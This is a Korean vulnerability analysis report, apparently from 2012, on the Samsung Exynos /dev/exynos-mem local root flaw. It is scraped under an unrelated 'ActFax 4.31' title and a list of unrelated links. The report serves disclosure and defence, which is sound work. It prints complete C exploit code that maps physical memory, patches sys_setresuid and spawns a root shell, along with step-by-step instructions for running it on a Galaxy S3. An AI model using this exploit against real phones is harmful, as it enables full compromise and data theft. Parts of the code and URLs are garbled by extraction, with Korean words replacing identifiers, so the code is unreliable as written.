ActFax 4.31 Local Privilege Escalation Exploit

Similar documents
PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

K&R2 Reference Manual 번역본

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

2009년 상반기 사업계획

PowerPoint 프레젠테이션

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - lab14.pptx

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

ActFax 4.31 Local Privilege Escalation Exploit

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

제1장 Unix란 무엇인가?

1.hwp

인천광역시의회 의원 상해 등 보상금 지급에 관한 조례 일부개정조례안 의안 번호 179 제안연월일 : 제 안 자 :조례정비특별위원회위원장 제안이유 공무상재해인정기준 (총무처훈령 제153호)이 공무원연금법 시행규칙 (행정자치부령 제89호)으로 흡수 전면 개

참고 금융분야 개인정보보호 가이드라인 1. 개인정보보호 관계 법령 개인정보 보호법 시행령 신용정보의 이용 및 보호에 관한 법률 시행령 금융실명거래 및 비밀보장에 관한 법률 시행령 전자금융거래법 시행령 은행법 시행령 보험업법 시행령 자동차손해배상 보장법 시행령 자본시장과

Chapter #01 Subject

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

종사연구자료-이야기방 hwp

10.

목 차 국회 1 월 중 제 개정 법령 대통령령 7 건 ( 제정 -, 개정 7, 폐지 -) 1. 댐건설 및 주변지역지원 등에 관한 법률 시행령 일부개정 1 2. 지방공무원 수당 등에 관한 규정 일부개정 1 3. 경력단절여성등의 경제활동 촉진법 시행령 일부개정 2 4. 대

No

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Adobe Flash 취약점 분석 (CVE )

Microsoft PowerPoint - IOControl [호환 모드]

슬라이드 1

토익S-채용사례리플렛0404

Ⅰ. 머리말 각종 기록에 따르면 백제의 초기 도읍은 위례성( 慰 禮 城 )이다. 위례성에 관한 기록은 삼국사기, 삼국유사, 고려사, 세종실록, 동국여지승람 등 많은 책에 실려 있는데, 대부분 조선시대에 편 찬된 것이다. 가장 오래된 사서인 삼국사기 도 백제가 멸망한지


목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

Sena Technologies, Inc. HelloDevice Super 1.1.0

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

untitled

*금안 도비라및목차1~9

chap7.key

BMP 파일 처리

<C1D6BFE4BDC7C7D0C0DA5FC6EDC1FDBFCF28B4DCB5B5292E687770>

시편강설-경건회(2011년)-68편.hwp

untitled

정 관

歯박지원-구운몽.PDF

*금안14(10)01-도비라및목차1~12

교육지원 IT시스템 선진화

기사스크랩 (160504).hwp

untitled

Tcl의 문법

산림병해충 방제규정 4. 신문 방송의 보도내용 등 제6 조( 조사지역) 제5 조에 따른 발생조사는 다음 각 호의 지역으로 구분하여 조사한다. 1. 특정지역 : 명승지 유적지 관광지 공원 유원지 및 고속국도 일반국도 철로변 등 경관보호구역 2. 주요지역 : 병해충별 선단

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

김기중 - 방송통신심의위원회 인터넷 내용심의의 위헌 여부.hwp

歯9장.PDF

4 꼬부랑 이라는 말이 재미있습니다. 5같은 말이 반복이 되어서 지루합니다. 4 꼬부랑 은 굽은 모양을 재미있게 흉내 낸 말입니다. 꼬부랑 을 빼고 읽는 것보다 넣어서 읽 으면 할머니와 엿가락, 강아지의 느낌이 좀 더 실감 나서 재미가 있습니다. 국어2(예습) / 1.

강의10

KEY 디바이스 드라이버

ÀüÀÚÇö¹Ì°æ-Áß±Þ


?


PowerPoint 프레젠테이션

본 강의에 들어가기 전

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C


chap 5: Trees

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

래를 북한에서 영화의 주제곡으로 사용했다든지, 남한의 반체제세력이 애창한다 든지 등등 여타의 이유를 들어 그 가요의 기념곡 지정을 반대한다는 것은 더 이상 용인될 수 없는 반민주적인 행동이 될 것이다. 동시에 그 노래가 두 가지 필요조 건을 충족시키지 못함에도 불구하고

Chapter_02-3_NativeApp

> 1. 법 제34조제1항제3호에 따른 노인전문병원 2. 국민건강보험법 제40조제1항의 규정에 의한 요양기관(약국을 제외한다) 3. 삭제< > 4. 의료급여법 제2조제2호의 규정에 의한 의료급여기관 제9조 (건강진단) 영 제20조제1항의 규

노인복지법 시행규칙

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

*금안 도비라및목차1~17

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

Microsoft PowerPoint - chap03-변수와데이터형.pptx

[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2

Index

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

1-1Çؼ³

Microsoft Word doc

vi 사용법

Frama-C/JESSIS 사용법 소개

PowerPoint 프레젠테이션

1 01 [ ] [ ] plus 002

13주-14주proc.PDF

4) 이 이 6) 위 (가) 나는 소백산맥을 바라보다 문득 신라의 삼국 통 일을 못마땅해하던 당신의 말이 생각났습니다. 하나가 되는 것은 더 커지는 것이라는 당신의 말을 생각하면, 대동강 이북의 땅을 당나라에 내주기로 하고 이룩한 통 일은 더 작아진 것이라는 점에서,

SRC PLUS 제어기 MANUAL

일제.PDF

3232 편집본(5.15).hwp

Index Process Specification Data Dictionary

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

EA0015: 컴파일러

6주차.key

PowerPoint 프레젠테이션

ActFax 4.31 Local Privilege Escalation Exploit

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

슬라이드 1

5.스택(강의자료).key

PowerPoint 프레젠테이션

Transcription:

NSHC 2012. 12. 19. 취약점 분석 보고서 Information Service about a new vulnerability [ ]

목 차 1. 개 요... 2 2. 공 격... 5 3. 분 석... 9 4. 결 론... 12 5. 대응방안... 12 6. 참고자료... 13 Copyright 2012 Red Alert. All Rights Reserved. 1

1. 개 요 삼성에서 제작된 ARM Cortex-A8과 ARM Cortex-A9 계열 프로세서의 시스템 온 칩인 엑시노스에 서 관리자 권한 없이 물리적 메모리 데이터를 수정할 수 있는 취약점이 발견되었습니다. 해당 취 약점이 악용될 경우 개인 정보 유출 및 중요 데이터 탈취 등에 노출될 수 있습니다. 해당 취약점 은 안드로이드 운영체제의 취약점이 아닌 커널 내의 권한을 이용하기 때문에 루팅 여부에 관계 없이 메모리 변조가 가능합니다. 현재 대응패치¹가 배포되고 있습니다. 하지만 해당 패치 적용을 위해서는 루팅을 해야 한다는 점과, 패치 적용 후 카메라 기능을 사용할 수 없다는 문제가 있습 니다. 그림 1. 대응패치 ExynosAbuse.apk 화면 1) http://training.nshc.net:8080/util/exynosabuse-v1.30.apk 출처- forum.xda-developers.com Copyright 2012 Red Alert. All Rights Reserved. 2

그림 2. 대응패치 활성화 화면 그림 3. 대응패치 후 카메라 화면 Copyright 2012 Red Alert. All Rights Reserved. 3

엑시노스에서 /dev/exynos-mem 메모리 영역을 이용하는 라이브러리 목록은 아래와 같습니다. /system/lib/hw/camera.smdk4x12.so /system/lib/hw/gralloc.smdk4x12.so /system /lib/libhdmi.so 표 1. /dev/exynos-mem 이용 라이브러리 목록 /dev/exynos-mem 메모리 영역을 이용하면, 시스템 상의 모든 물리 메모리영역에 접근이 가능해 집니다. 해당 영역에 권한 값이 잘 못 설정된다면, 공격자가 원하는 코드를 실행시킬 수 있습니다. 시스템 관리자 권한 없이도 해당 영역에 쓰기 권한을 설정할 수 있는 취약점이기 때문에 루팅 여 부와 관계 없이 공격이 가능하며, 해당 취약점으로 공유 메모리 맵핑으로 동기화 시키며, 시스템 관리자 권한 획득 코드 등을 실행시켜 권한 탈취가 가능할 수 있습니다. 취약점 이름 시스템 관리자 exploit on Exynos 최초 발표일 2012년 12월 15일 문서 작성일 2012년 12월 19일 Version Exynos 4210, 4412 상태 취약 Vender Samsung Author alephzain 공격 범위 Local 공격 유형 메모리 변조 표 2. 취약점 정보 엑시노스 4210, 4412를 사용하고 있는 모든 단말기에서 취약합니다. Samsung Galaxy S3(국내, 국외) Samsung Galaxy S2(국외) Samsung Galaxy S2 GT-I9100(국외) Samsung Galaxy S3 GT-I9300(국외) Samsung Galaxy S3 LTE GT-I9305(국외) Samsung Galaxy Note GT-N7000(국외) Samsung Galaxy Note 2 GT-N7100(국외) Samsung Galaxy Note 2 LTE GT-N7105(국외) AT&T Galaxy Note 2 SGH-I317(국외) Samsung Galaxy Tab Plus GT-P6210(국외) Samsung Galaxy Note 10.1 GT-N8000, GT-N8010, GT-N8013, GT-N8020 (국외) 표 3. 대상시스템 Copyright 2012 Red Alert. All Rights Reserved. 4

2. 공 격 가. 공격 코드를 컴파일한 파일을 취약한 단말기에 넣어줍니다. 나. 취약 단말기에서 관리자 권한을 가져와 공격 파일에 실행 권한을 줍니다. 다. 관리자 권한에서 사용자 권한으로 전환합니다. 라. 취약점을 이용한 공격코드로 인해 관리자 권한의 shell이 뜨는지 확인합니다. 삼성 갤럭시S III(Samsung Galaxy S III, Samsung I9300)는 삼성전자에서 출시한 안드로이드 스마트 폰으로, 갤럭시S2의 후속 기종이다. 출시 당시 안드로이드 4.0.4 아이스크림 샌드위치를 탑재하였 다. 약 150개국 300여곳의 이동통신사에서 판매하고 있다. 그림1. 대상 단말기 Copyright 2012 Red Alert. All Rights Reserved. 5

가. 공격 코드를 컴파일한 파일을 취약한 단말기에 넣어줍니다. 그림2. 공격 파일 삽입 나. 취약 단말기에서 관리자 권한을 가져와 공격 파일에 실행 권한을 줍니다. 그림3. 공격 파일 실행 권한 부여 다. 관리자 권한에서 사용자 권한으로 전환합니다. 그림4. 공격 코드 성공 여부 확인을 위한 권한 변경 라. 취약점을 이용한 공격코드로 인해 관리자 권한의 shell이 뜨는지 확인합니다. 그림5. 공격 코드로 인해 관리자 권한으로 shell 성공 Copyright 2012 Red Alert. All Rights Reserved. 6

그림6. ExynosAbuse 어플로 인한 카메라 문제점 그림7. Disable exploit 후의 권한 Disable exploit후의 exynos-mem의 권한이 소유자 읽기 권한만 놔두고 모두 지워 버린 것을 볼 수 있습니다. 이를 해결 하기 위해 exynos-mem의 권한중 other권한에 rw를 부여 해야합니다. Copyright 2012 Red Alert. All Rights Reserved. 7

그림8. Other에 읽기 쓰기 권한을 부여 그림9. 권한을 부여 후 정상 작동하는 카메라 본 보고서의 취약점이 exynos-mem의 잘못된 권한 부여로 인해 발생되지만 이 잘못된 권한 부여를 제거할 경우 카메라 어플이 정상 작동하지 않습니다. 이를 해결하기 위해선 other 권한에 읽기 쓰기 권한을 다 부 여해야만 하며 이는 취약점이 있는 상태에서만 카메라 어플이 정상 작동함을 의미 합니다. 이는 잘못된 부 분이며 exynos-mem의 권한부여 수정과 함께 카메라 어플도 같이 수정 해야 됨을 의미합니다. Copyright 2012 Red Alert. All Rights Reserved. 8

3. 분 석 #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdbool.h> #define PAGE_OFFSET 0xC0000000 #define PHYS_OFFSET 0x40000000 int main(int argc, char **argv, char **env) { int fd, i, m, index, result; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_fmt = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym; int page_size = sysconf(_sc_page_size); int length = page_size * page_size; /* 시스템 관리자 shell 을위한인자값선언*/ char *cmd[2]; cmd[0] = "/system/bin/sh"; cmd[1] = NULL; /* /proc/kallsyms 파씽을 위한 변수 선언*/ FILE *kallsyms = NULL; char line [512]; char *ptr; char *str; bool found = false; /* /dev/exynos-mem 읽기 쓰기 권한으로 열기*/ fd = open("/dev/exynos-mem", O_RDWR); if (fd == -1) { printf("[!] Error opening /dev/exynos-mem\n"); exit(1); /* 물리적 메모리 주소를 사용하기 위해 읽기 쓰기 권한이 있는 0x40000000 주소부터 length만큼을 공유하는 파일형식의 가상 메모리 맵 생성(이 가상 메모리로 물리메모리를 동기화하여 사용)*/ paddr = (unsigned long *)mmap(null, length, PROT_읽기 PROT_쓰기, MAP_SHARED, fd, PHYS_OFFSET); tmp = paddr; if (paddr == MAP_FAILED) { printf("[!] Error mmap: %s %08X\n",strerror(errno), i); exit(1); Copyright 2012 Red Alert. All Rights Reserved. 9

/* "%pk %c %s\n"문자열을 메모리안에서검색 "%pk %c %s\n"문자열을 "%p"로 변환 */ for(m = 0; m < length; m += 4) { if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) { printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m); restore_ptr_fmt = tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; tmp++; if (found == false) { printf("[!] s_show->seq_printf format string not found\n"); exit(1); found = false; /* /proc/kallsyms 읽기권한으로 생성 */ kallsyms = fopen("/proc/kallsyms", "r"); if (kallsyms == NULL) { printf("[!] kallsysms error: %s\n", strerror(errno)); exit(1); /* kallsyms 의 setresuid 주소 검색 및 변조 */ while((ptr = fgets(line, 512, kallsyms))) { str = strtok(ptr, " "); addr_sym = strtoul(str, NULL, 16); index = 1; while(str) { str = strtok(null, " "); index++; if (index == 3) { if (strncmp("sys_setresuid\n", str, 14) == 0) { printf("[*] sys_setresuid found at 0x%08X\n",addr_sym); found = true; break; if (found) { tmp = paddr; tmp += (addr_sym - PAGE_OFFSET) >> 2; for(m = 0; m < 128; m += 4) { if (*(unsigned long *)tmp == 0xe3500000) { printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m); restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; tmp++; break; Copyright 2012 Red Alert. All Rights Reserved. 10

fclose(kallsyms); /* /dev/exynos-mem 와 가상 메모리 동기화 시간 */ usleep(100000); /* 시스템 관리자권한획득 */ result = setresuid(0, 0, 0); /* 변조된메모리복구 */ *(unsigned long *)restore_ptr_fmt = 0x204b7025; *(unsigned long *)restore_ptr_setresuid = 0xe3500000; munmap(paddr, length); close(fd); if (result) { printf("[!] set user 시스템 관리자 failed: %s\n", strerror(errno)); exit(1); /* 획득한 관리자 권한으로 쉘 실행 */ execve (cmd[0], cmd, env); return 0; 표 4. 공격 코드 취약한 메모리 영역인 /dev/exynos-mem을 읽기 쓰기 권한으로 오픈합니다.(정상적인 권한이라면 /dev/exynos-mem에 읽기 권한만 있어야 될 것 입니다.) 가상의 공유 메모리 맵을 만들어서 /dev/exynos-mem영역을 가상 메모리로 동기화 시키면서 변조 할 수 있으며 이를 이용하여 위 루트 권한을 가져오는 공격코드가 작동 됩니다. Copyright 2012 Red Alert. All Rights Reserved. 11

4. 결 론 권한이 없는 일반 사용자 계정으로 특정 물리 메모리 공간의 변조가 가능한 취약점이므로, 커널 에 코드 주입이 손 쉽게 이루어 질 수 있습니다. 커널에 주입된 코드는 관리자 권한 획득, 메모리 덤프 등을 수행할 수 있습니다. 이러한 취약점은 보안 접근자를 무력화 해버리기 때문에 심각한 보안 위협이라고 할 수 있습니다. 5. 대응방안 해당 취약점에 대한 긴급패치로 XDA 개발자 포럼에서 내놓은 'ExynosAbuse'는 문제를 해결하기 위한 방안으로 '쓰기' 권한을 제거 하는 것으로 추측됩니다. 때문에 카메라 어플리케이션의 동작 장애가 발생하는 것으로 보입니다. 긴급패치는 카메라 어플리케이션의 동작장애 및 루팅을 해야 한다는 단점이 있지만 현재까지 가장 안전한 대응책으로써, 근본적인 해결 방법은 벤더사의 패치 외에는 없다고 판단됩니다. Copyright 2012 Red Alert. All Rights Reserved. 12

6. 참고자료 [1] 취약점 본문 http://forum.xda-developers.com/showth읽기.php?t=2047991 http://forum.xda-developers.com/showth읽기.php?t=2048511 [2] ExynosAbuse APK http://forum.xda-developers.com/showth읽기.php?t=2050297 [3] ExynosAbuse APK 이미지 http://justine1221.blog.me/10154675470 Copyright 2012 Red Alert. All Rights Reserved. 13